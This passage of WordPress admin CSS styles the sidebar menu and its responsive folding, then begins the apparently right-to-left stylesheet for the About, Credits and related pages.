	padding: 0;
}

#adminmenu a {
	display: block;
	line-height: 1.3;
	padding: 2px 5px;
	color: #f0f0f1;
}

#adminmenu .wp-submenu a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
	font-size: 13px;
	line-height: 1.4;
	margin: 0;
	padding: 5px 0;
}

#adminmenu .wp-submenu a:hover,
#adminmenu .wp-submenu a:focus {
	background: none;
}

#adminmenu a:hover,
#adminmenu li.menu-top > a:focus,
#adminmenu .wp-submenu a:hover,
#adminmenu .wp-submenu a:focus {
	color: #72aee6;
}

#adminmenu a:hover,
#adminmenu a:focus,
.folded #adminmenu .wp-submenu-head:hover {
	box-shadow: inset 4px 0 0 0 currentColor;
	transition: box-shadow .1s linear;
}

#adminmenu li.menu-top {
	border: none;
	min-height: 34px;
	position: relative;
}

#adminmenu .wp-submenu {
	list-style: none;
	position: absolute;
	top: -1000em;
	left: 160px;
	overflow: visible;
	word-wrap: break-word;
	padding: 7px 0 8px;
	z-index: 9999;
	background-color: #2c3338;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.js #adminmenu .sub-open,
.js #adminmenu .opensub .wp-submenu,
#adminmenu a.menu-top:focus + .wp-submenu,
.no-js li.wp-has-submenu:hover .wp-submenu {
	top: -1px;
}

#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
	top: 0;
}

#adminmenu .wp-has-current-submenu .wp-submenu,
.no-js li.wp-has-current-submenu:hover .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu {
	position: relative;
	z-index: 3;
	top: auto;
	left: auto;
	right: auto;
	bottom: auto;
	border: 0 none;
	margin-top: 0;
	box-shadow: none;
}

.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

/* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
	position: relative;
	background-color: #1d2327;
	color: #72aee6;
}

.folded #adminmenu li.menu-top:hover,
.folded #adminmenu li.opensub > a.menu-top,
.folded #adminmenu li > a.menu-top:focus {
	z-index: 10000;
}

#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.current a.menu-top,
#adminmenu .wp-menu-arrow,
#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,
#adminmenu .wp-menu-arrow div {
	background: #2271b1;
	color: #fff;
}

.folded #adminmenu .wp-submenu.sub-open,
.folded #adminmenu .opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu a.menu-top:focus + .wp-submenu,
.folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu,
.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu {
	top: 0;
	left: 36px;
}

.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	position: absolute;
	top: -1000em;
}

#adminmenu .wp-not-current-submenu .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	min-width: 160px;
	width: auto;
	border-left: 5px solid transparent;
}

#adminmenu .wp-submenu li.current,
#adminmenu .wp-submenu li.current a,
#adminmenu .opensub .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-submenu li.current a:hover,
#adminmenu .wp-submenu li.current a:focus {
	color: #fff;
}

#adminmenu .wp-not-current-submenu li > a,
.folded #adminmenu .wp-has-current-submenu li > a {
	padding-right: 16px;
	padding-left: 14px;
	/* Exclude from the transition the outline for Windows High Contrast mode */
	transition: all .1s ease-in-out, outline 0s;
}

#adminmenu .wp-has-current-submenu ul > li > a,
.folded #adminmenu li.menu-top .wp-submenu > li > a {
	padding: 5px 12px;
}

#adminmenu a.menu-top,
#adminmenu .wp-submenu-head {
	font-size: 14px;
	font-weight: 400;
	line-height: 1.3;
	padding: 0;
}

#adminmenu .wp-submenu-head {
	display: none;
}

.folded #adminmenu .wp-menu-name {
	position: absolute;
	left: -999px;
}

.folded #adminmenu .wp-submenu-head {
	display: block;
}

#adminmenu .wp-submenu li {
	padding: 0;
	margin: 0;
}

#adminmenu .wp-menu-image img {
	padding: 9px 0 0;
	opacity: 0.6;
	filter: alpha(opacity=60);
}

#adminmenu div.wp-menu-name {
	padding: 8px 8px 8px 36px;
	overflow-wrap: break-word;
	word-wrap: break-word;
	-ms-word-break: break-all;
	word-break: break-word;
	-webkit-hyphens: auto;
	hyphens: auto;
}

#adminmenu div.wp-menu-image {
	float: left;
	width: 36px;
	height: 34px;
	margin: 0;
	text-align: center;
}

#adminmenu div.wp-menu-image.svg {
	background-repeat: no-repeat;
	background-position: center;
	background-size: 20px auto;
}

div.wp-menu-image:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
	padding: 7px 0;
	transition: all .1s ease-in-out;
}

#adminmenu div.wp-menu-image:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before,
#adminmenu .wp-has-current-submenu div.wp-menu-image:before,
#adminmenu .current div.wp-menu-image:before,
#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before {
	color: #fff;
}

#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
	color: #72aee6;
}

.folded #adminmenu div.wp-menu-image {
	width: 35px;
	height: 30px;
	position: absolute;
	z-index: 25;
}

.folded #adminmenu a.menu-top {
	height: 34px;
}

/* Sticky admin menu */
.sticky-menu #adminmenuwrap {
	position: fixed;
}

/* A new arrow */

.wp-menu-arrow {
	display: none !important;
}

ul#adminmenu a.wp-has-current-submenu {
	position: relative;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
	right: 0;
	border: solid 8px transparent;
	content: " ";
	height: 0;
	width: 0;
	position: absolute;
	pointer-events: none;
	border-right-color: #f0f0f1;
	top: 50%;
	margin-top: -8px;
}

.folded ul#adminmenu li:hover a.wp-has-current-submenu:after,
.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after {
	display: none;
}

.folded ul#adminmenu a.wp-has-current-submenu:after,
.folded ul#adminmenu > li a.current:after {
	border-width: 4px;
	margin-top: -4px;
}

/* flyout menu arrow */
#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	right: 0;
	border: 8px solid transparent;
	content: " ";
	height: 0;
	width: 0;
	position: absolute;
	pointer-events: none;
	top: 10px;
	z-index: 10000;
}

.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	border-width: 4px;
	margin-top: -4px;
	top: 18px;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	border-right-color: #2c3338;
}

#adminmenu li.menu-top:hover .wp-menu-image img,
#adminmenu li.wp-has-current-submenu .wp-menu-image img {
	opacity: 1;
	filter: alpha(opacity=100);
}

#adminmenu li.wp-menu-separator {
	height: 5px;
	padding: 0;
	margin: 0 0 6px;
	cursor: inherit;
}

/* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */
#adminmenu div.separator {
	height: 2px;
	padding: 0;
}

#adminmenu .wp-submenu .wp-submenu-head {
	color: #fff;
	font-weight: 400;
	font-size: 14px;
	padding: 5px 4px 5px 11px;
	margin: -7px 0 4px -5px;
	border-width: 3px 0 3px 5px;
	border-style: solid;
	border-color: transparent;
}

#adminmenu li.current,
.folded #adminmenu li.wp-menu-open {
	border: 0 none;
}

/* @todo: consider to use a single rule for these counters and the list table comments counters. */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	margin: 1px 0 -1px 2px;
	padding: 0 5px;
	min-width: 18px;
	height: 18px;
	border-radius: 9px;
	background-color: #d63638;
	color: #fff;
	font-size: 11px;
	line-height: 1.6;
	text-align: center;
	z-index: 26;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins {
	background-color: #d63638;
	color: #fff;
}

#adminmenu li span.count-0 {
	display: none;
}

#collapse-button {
	display: block;
	width: 100%;
	height: 34px;
	margin: 0;
	border: none;
	padding: 0;
	position: relative;
	overflow: visible;
	background: none;
	color: #a7aaad;
	cursor: pointer;
}

#collapse-button:hover {
	color: #72aee6;
}

#collapse-button:focus {
	color: #72aee6;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: -1px;
}

#collapse-button .collapse-button-icon,
#collapse-button .collapse-button-label {
	/* absolutely positioned to avoid 1px shift in IE when button is pressed */
	display: block;
	position: absolute;
	top: 0;
	left: 0;
}

#collapse-button .collapse-button-label {
	top: 8px;
}

#collapse-button .collapse-button-icon {
	width: 36px;
	height: 34px;
}

#collapse-button .collapse-button-label {
	padding: 0 0 0 36px;
}

.folded #collapse-button .collapse-button-label {
	display: none;
}

#collapse-button .collapse-button-icon:after {
	content: "\f148";
	display: block;
	position: relative;
	top: 7px;
	text-align: center;
	font: normal 20px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* rtl:ignore */
.folded #collapse-button .collapse-button-icon:after,
.rtl #collapse-button .collapse-button-icon:after {
	transform: rotate(180deg);
}

.rtl.folded #collapse-button .collapse-button-icon:after {
	transform: none;
}

#collapse-button .collapse-button-icon:after,
#collapse-button .collapse-button-label {
	transition: all .1s ease-in-out;
}

/**
 * Toolbar menu toggle
 */
li#wp-admin-bar-menu-toggle {
	display: none;
}

/* Hide-if-customize for items we can't add classes to */
.customize-support #menu-appearance a[href="themes.php?page=custom-header"],
.customize-support #menu-appearance a[href="themes.php?page=custom-background"] {
	display: none;
}

/* Auto-folding of the admin menu */
@media only screen and (max-width: 960px) {
	.auto-fold #wpcontent,
	.auto-fold #wpfooter {
		margin-left: 36px;
	}

	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap,
	.auto-fold #adminmenu,
	.auto-fold #adminmenu li.menu-top {
		width: 36px;
	}

	.auto-fold #adminmenu .wp-submenu.sub-open,
	.auto-fold #adminmenu .opensub .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
	.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
		top: 0;
		left: 36px;
	}

	.auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
		position: absolute;
		top: -1000em;
		margin-right: -1px;
		padding: 7px 0 8px;
		z-index: 9999;
	}

	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
		min-width: 150px;
		width: auto;
	}

	.auto-fold #adminmenu .wp-has-current-submenu li > a {
		padding-right: 16px;
		padding-left: 14px;
	}


	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
		padding-left: 12px;
	}

	.auto-fold #adminmenu .wp-menu-name {
		position: absolute;
		left: -999px;
	}

	.auto-fold #adminmenu .wp-submenu-head {
		display: block;
	}

	.auto-fold #adminmenu div.wp-menu-image {
		height: 30px;
		width: 34px;
		position: absolute;
		z-index: 25;
	}

	.auto-fold #adminmenu a.menu-top {
		min-height: 34px;
	}

	.auto-fold #adminmenu li.wp-menu-open {
		border: 0 none;
	}

	.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last {
		margin-bottom: 0;
	}

	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after {
		display: none;
	}

	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
		border-width: 4px;
		margin-top: -4px;
		top: 16px;
	}

	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu > li a.current:after {
		border-width: 4px;
		margin-top: -4px;
	}

	.auto-fold #adminmenu li.menu-top:hover,
	.auto-fold #adminmenu li.opensub > a.menu-top,
	.auto-fold #adminmenu li > a.menu-top:focus {
		z-index: 10000;
	}

	.auto-fold #collapse-menu .collapse-button-label {
		display: none;
	}

	/* rtl:ignore */
	.auto-fold #collapse-button .collapse-button-icon:after {
		transform: rotate(180deg);
	}

	.rtl.auto-fold #collapse-button .collapse-button-icon:after {
		transform: none;
	}

}

@media screen and (max-width: 782px) {
	.auto-fold #wpcontent {
		position: relative;
		margin-left: 0;
		padding-left: 10px;
	}

	.sticky-menu #adminmenuwrap {
		position: relative;
		z-index: auto;
		top: 0;
	}

	/* Sidebar Adjustments */
	.auto-fold #adminmenu,
	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap {
		position: absolute;
		width: 190px;
		z-index: 100;
	}

	.auto-fold #adminmenuback {
		position: fixed;
	}

	.auto-fold #adminmenuback,
	.auto-fold #adminmenuwrap {
		display: none;
	}

	.auto-fold .wp-responsive-open #adminmenuback,
	.auto-fold .wp-responsive-open #adminmenuwrap {
		display: block;
	}

	.auto-fold #adminmenu li.menu-top {
		width: 100%;
	}

	/* Resize the admin menu items to a comfortable touch size */
	.auto-fold #adminmenu li a {
		font-size: 16px;
		padding: 5px;
	}

	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
		padding: 10px 10px 10px 20px;
	}

	/* Restore the menu names */
	.auto-fold #adminmenu .wp-menu-name {
		position: static;
	}

	/* Switch the arrow side */
	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu > li.current > a.current:after {
		border-width: 8px;
		margin-top: -8px;
	}

	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
		display: none;
	}

	/* Make the submenus appear correctly when tapped. */
	#adminmenu .wp-submenu {
		position: relative;
		display: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu,
	.auto-fold #adminmenu .wp-menu-open .wp-submenu {
		position: relative;
		display: block;
		top: 0;
		left: -1px;
		box-shadow: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu:after,
	.auto-fold #adminmenu .wp-menu-open .wp-submenu:after {
		display: none;
	}

	.auto-fold #adminmenu .opensub .wp-submenu {
		display: none;
	}

	.auto-fold #adminmenu .selected .wp-submenu {
		display: block;
	}

	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after,
	.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after {
		display: block;
	}

	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
		position: relative;
		left: -1px;
		right: 0;
		top: 0;
	}

	#adminmenu .wp-not-current-submenu .wp-submenu,
	.folded #adminmenu .wp-has-current-submenu .wp-submenu {
		border-left: none;
	}

	/* Remove submenu headers and adjust sub meu*/
	#adminmenu .wp-submenu .wp-submenu-head {
		display: none;
	}

	/* Toolbar menu toggle */
	#wp-responsive-toggle {
		position: fixed;
		top: 5px;
		left: 4px;
		padding-right: 10px;
		z-index: 99999;
		border: none;
		box-sizing: border-box;
	}

	#wpadminbar #wp-admin-bar-menu-toggle a {
		display: block;
		padding: 0;
		overflow: hidden;
		outline: none;
		text-decoration: none;
		border: 1px solid transparent;
		background: none;
		height: 44px;
		margin-left: -1px;
	}

	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
		background: #2c3338;
	}

	li#wp-admin-bar-menu-toggle {
		display: block;
	}

	#wpadminbar #wp-admin-bar-menu-toggle a:hover {
		border: 1px solid transparent;
	}

	#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
		content: "\f228";
		display: inline-block;
		float: left;
		font: normal 40px/45px dashicons;
		vertical-align: middle;
		outline: none;
		margin: 0;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
		height: 44px;
		width: 50px;
		padding: 0;
		border: none;
		text-align: center;
		text-decoration: none;
		box-sizing: border-box;
	}

	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
		color: #72aee6;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#adminmenuwrap,
	#adminmenuback {
		display: none;
	}

	.wp-responsive-open #adminmenuwrap,
	.wp-responsive-open #adminmenuback {
		display: block;
	}

	.auto-fold #adminmenu {
		top: 46px;
	}
}
/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  22.0 - About Pages

   1.0 Global: About, Credits, Freedoms, Privacy, Get Involved
    1.1 Layout
    1.2 Typography & Elements
    1.3 Header
   2.0 Credits Page
   3.0 Freedoms Page
   4.0 Privacy Page
   x.2.0 Legacy About Styles: Global
    x.2.1 Typography
    x.2.2 Structure
    x.2.3 Point Releases
   x.3.0 Legacy About Styles: About Page
    x.3.1 Typography
    x.3.2 Structure
   x.4.0 Legacy About Styles: Credits & Freedoms Pages
   x.5.0 Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

.about__container {
	/* Section backgrounds */
	--background: #ededed;
	--subtle-background: #eef0fd;

	/* Main text color */
	--text: #1e1e1e;
	--text-light: #fff;

	/* Accent colors: used in header, on special classes. */
	--accent-1: #3858e9; /* Link color */
	--accent-2: #3858e9; /* Accent background */
	--accent-3: #ededed; /* hr background */

	/* Navigation colors. */
	--nav-background: #fff;
	--nav-border: transparent;
	--nav-color: var(--text);
	--nav-current: var(--accent-1);

	--border-radius: 16px;

	--gap: 2rem;
}

/*------------------------------------------------------------------------------
  1.0 - Global: About, Credits, Freedoms, Privacy, Get Involved
------------------------------------------------------------------------------*/

.about-php,
.credits-php,
.freedoms-php,
.privacy-php,
.contribute-php {
	background: #fff;
}

.about-php #wpcontent,
.credits-php #wpcontent,
.freedoms-php #wpcontent,
.privacy-php #wpcontent,
.contribute-php #wpcontent {
	background: #fff;
	padding: 0 24px;
}

@media screen and (max-width: 782px) {
	.about-php.auto-fold #wpcontent,
	.credits-php.auto-fold #wpcontent,
	.freedoms-php.auto-fold #wpcontent,
	.privacy-php.auto-fold #wpcontent,
	.contribute-php.auto-fold #wpcontent {
		padding-right: 24px;
	}
}

.about__container {
	max-width: 1000px;
	margin: 24px auto;
	clear: both;
}

.about__container .alignleft {
	float: right;
}

.about__container .alignright {
	float: left;
}

.about__container .aligncenter {
	text-align: center;
}

.about__container .is-vertically-aligned-top {
	align-self: start;
}

.about__container .is-vertically-aligned-center {
	align-self: center;
}

.about__container .is-vertically-aligned-bottom {
	align-self: end;
}

.about__section {
	background: transparent;
	clear: both;
}

.about__container .has-accent-background-color {
	color: var(--text-light);
	background-color: var(--accent-2);
}

.about__container .has-transparent-background-color {
	background-color: transparent;
}

.about__container .has-accent-color {
	color: var(--accent-2);
}

.about__container .has-border {
	border: 3px solid currentColor;
}

.about__container .has-subtle-background-color {
	background-color: var(--subtle-background);
}

.about__container .has-background-image {
	background-size: contain;
	background-repeat: no-repeat;
	background-position: center;
}

/* 1.1 - Layout */

.about__section {
	margin: 0;
}

.about__section .column:not(.is-edge-to-edge) {
	padding: var(--gap);
}

.about__section + .about__section .is-section-header {
	padding-bottom: var(--gap);
}

.about__section .column[class*="background-color"]:not(.is-edge-to-edge),
.about__section:where([class*="background-color"]) .column:not(.is-edge-to-edge),
.about__section .column.has-border:not(.is-edge-to-edge) {
	padding-top: var(--gap);
	padding-bottom: var(--gap);
}

.about__section .column p:first-of-type {
	margin-top: 0;
}

.about__section .column p:last-of-type {
	margin-bottom: 0;
}

.about__section .has-text-columns {
	columns: 2;
	column-gap: calc(var(--gap) * 2);
}

.about__section .is-section-header {
	margin-bottom: 0;
	padding: var(--gap) var(--gap) 0;
}

.about__section .is-section-header p:last-child {
	margin-bottom: 0;
}

/* Section header is alone in a container. */
.about__section .is-section-header:first-child:last-child {
	padding: 0;
}

.about__section.is-feature {
	padding: var(--gap);
}

.about__section.is-feature p {
	margin: 0;
}

.about__section.is-feature p + p {
	margin-top: calc(var(--gap) / 2);
}

.about__section.has-1-column {
	margin-right: auto;
	margin-left: auto;
	max-width: 36em;
}

.about__section.has-2-columns,
.about__section.has-3-columns,
.about__section.has-4-columns,
.about__section.has-overlap-style {
	display: grid;
}

.about__section.has-gutters {
	gap: var(--gap);
	margin-bottom: var(--gap);
}

.about__section.has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about__section.has-2-columns.is-wider-right {
	grid-template-columns: 2fr 3fr;
}

.about__section.has-2-columns.is-wider-left {
	grid-template-columns: 3fr 2fr;
}

.about__section .is-section-header {
	grid-column-start: 1;
	grid-column-end: -1;
}

.about__section.has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about__section.has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about__section.has-overlap-style {
	grid-template-columns: repeat(7, 1fr);
}

.about__section.has-overlap-style .column {
	grid-row-start: 1;
}

.about__section.has-overlap-style .column:nth-of-type(2n+1) {
	grid-column-start: 2;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column:nth-of-type(2n) {
	grid-column-start: 4;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column.is-top-layer {
	z-index: 1;
}

@media screen and (max-width: 782px) {
	.about__section.has-2-columns.is-wider-right,
	.about__section.has-2-columns.is-wider-left,
	.about__section.has-3-columns {
		display: block;
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section .column:not(.is-edge-to-edge) {
		padding-top: var(--gap);
		padding-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters.is-wider-right,
	.about__section.has-2-columns.has-gutters.is-wider-left,
	.about__section.has-3-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-3-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-3-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-3-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns {
		grid-template-columns: repeat(2, 1fr);
	}

	.about__section.has-overlap-style {
		grid-template-columns: 1fr;
	}

	/* At this size, the two columns fully overlap */
	.about__section.has-overlap-style .column.column {
		grid-column-start: 1;
		grid-column-end: 2;
		grid-row-start: 1;
		grid-row-end: 2;
	}
}

@media screen and (max-width: 600px) {
	.about__section.has-2-columns {
		display: block;
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-2-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 480px) {
	.about__section.is-feature .column {
		padding: 0;
	}

	.about__section.has-4-columns {
		display: block;
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column {
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-4-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}
}

/* 1.2 - Typography & Elements */

.about__container {
	line-height: 1.4;
	color: var(--text);
}

.about__container h1 {
	padding: 0;
}

.about__container h1,
.about__container h2,
.about__container h3.is-larger-heading {
	margin-top: 0;
	margin-bottom: 0.5em;
	font-size: 2rem;
	font-weight: 700;
	line-height: 1.16;
}

.about__container h3,
.about__container h1.is-smaller-heading,
.about__container h2.is-smaller-heading {
	margin-top: 0;
	font-size: 1.625rem;
	font-weight: 700;
	line-height: 1.4;
}

.about__container h4,
.about__container h3.is-smaller-heading {
	margin-top: 0;
	font-size: 1.125rem;
	font-weight: 600;
	line-height: 1.6;
}

.about__container h1,
.about__container h2,
.about__container h3,
.about__container h4 {
	text-wrap: balance;
	color: inherit;
}

.about__container p {
	text-wrap: pretty;
}

.about__container p {
	font-size: inherit;
	line-height: inherit;
}

.about__container p.is-subheading {
	margin-top: 0;
	font-size: 1.5rem;
	font-weight: 300;
	line-height: 160%;
}

.about__section a {
	color: var(--accent-1);
	text-decoration: underline;
}

.about__section a:hover,
.about__section a:active,
.about__section a:focus {
	color: var(--accent-1);
	text-decoration: none;
}

.wp-credits-list a {
	text-decoration: none;
}

.wp-credits-list a:hover,
.wp-credits-list a:active,
.wp-credits-list a:focus {
	text-decoration: underline;
}

.about__container ul {
	list-style: disc;
	margin-right: calc(var(--gap) / 2);
}

.about__container li {
	margin-bottom: 0.5rem;
}

.about__container img {
	margin: 0;
	max-width: 100%;
	vertical-align: middle;
}

.about__container .about__image {
	margin: 0;
}

.about__container .about__image img {
	max-width: 100%;
	width: 100%;
	height: auto;
	border-radius: var(--border-radius);
}

.about__container .about__image figcaption {
	margin-top: 0.5em;
	text-align: center;
}

.about__container .about__image .wp-video {
	margin-right: auto;
	margin-left: auto;
}

.about__container .about__image svg {
	vertical-align: middle;
}

.about__container .about__image + h3 {
	margin-top: 1.5em;
}

.about__container hr {
	margin: calc(var(--gap) / 2) var(--gap);
	height: 0;
	border: none;
	border-top: 4px solid var(--accent-3);
}

.about__container hr.is-small {
	margin-top: 0;
	margin-bottom: 0;
}

.about__container hr.is-large {
	margin: var(--gap) auto;
}

.about__container div.updated,
.about__container div.error,
.about__container .notice {
	display: none !important;
}

.about__container code {
	font-size: inherit;
}

.about__section {
	font-size: 1.125rem;
	line-height: 1.55;
}

.about__section.is-feature {
	font-size: 1.6em;
}

.about__section.has-3-columns,
.about__section.has-4-columns {
	font-size: 1rem;
}

@media screen and (max-width: 480px) {
	.about__section.is-feature {
		font-size: 1.4em;
	}

	.about__container h1,
	.about__container h2,
	.about__container h3.is-larger-heading {
		font-size: 2em;
	}
}

/* 1.3 - Header */

.about__header {
	position: relative;
	display: flex;
	flex-direction: column;
	align-items: flex-start;
	justify-content: flex-end;
	box-sizing: border-box;
	padding: calc(var(--gap) * 1.5);
	min-height: clamp(10rem, 25vw, 18.75rem);
	border-radius: var(--border-radius);
	background-repeat: no-repeat;
	background-position: left 7% center, top right;
	background-color: var(--background);
}

.about__header-image {
	margin: 0 var(--gap) 3em;
}

.about__header-title {
	box-sizing: border-box;
	margin: 0;
	padding: 0;
}

.about__header-title h1 {
	margin: 0;
	padding: 0;
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 20vw - 9rem, 4rem);
	line-height: 1;
	font-weight: 600;
}

.about-php .about__header-title h1,
.credits-php .about__header-title h1,
.freedoms-php .about__header-title h1,
.privacy-php .about__header-title h1,
.contribute-php .about__header-title h1 {
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 10vw - 3rem, 4rem);
}

.about__header-text {
	box-sizing: border-box;
	max-width: 26em;
	margin: 1rem 0 0;
	padding: 0;
	font-size: 1.6rem;
	line-height: 1.15;
}

.about__header-navigation {
	position: relative;
	z-index: 1;
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	padding-top: 0;
	margin-bottom: var(--gap);
	background: var(--nav-background);
	color: var(--nav-color);
	border-bottom: 3px solid var(--nav-border);
}

.about__header-navigation::after {
	display: none;
}

.about__header-navigation .nav-tab {
	margin-right: 0;
	padding: calc(var(--gap) * 0.75) var(--gap);
	float: none;
	font-size: 1.4em;
	line-height: 1;
	border-width: 0 0 3px;
	border-style: solid;
	border-color: transparent;
	background: transparent;
	color: inherit;
}

.about__header-navigation .nav-tab:hover,
.about__header-navigation .nav-tab:active {
	background-color: var(--nav-current);
	color: var(--text-light);
}

.about__header-navigation .nav-tab-active {
	margin-bottom: -3px;
	color: var(--nav-current);
	border-width: 0 0 6px;
	border-color: var(--nav-current);
}

.about__header-navigation .nav-tab-active:hover,
.about__header-navigation .nav-tab-active:active {
	background-color: var(--nav-current);
	color: var(--text-light);
	border-color: var(--nav-current);
}

@media screen and (max-width: 960px) {

	.about-php .about__header-title h1,
	.credits-php .about__header-title h1,
	.freedoms-php .about__header-title h1,
	.privacy-php .about__header-title h1,
	.contribute-php .about__header-title h1 {
		/* Fluid font size scales on browser size 600px - 960px. */
		font-size: clamp(3rem, 6.67vw - 0.5rem, 4.5rem);
	}

	.about__header-navigation .nav-tab {
		padding: calc(var(--gap) * 0.75) calc(var(--gap) * 0.5);
	}
}

@media screen and (max-width: 782px) {
	.about__container .about__header-text {
		font-size: 1.4em;
	}

	.about__header-container {
		display: block;
	}

	.about__header {
		padding: var(--gap);
	}

	.about__header-text {
		margin-top: 0.5rem;
	}

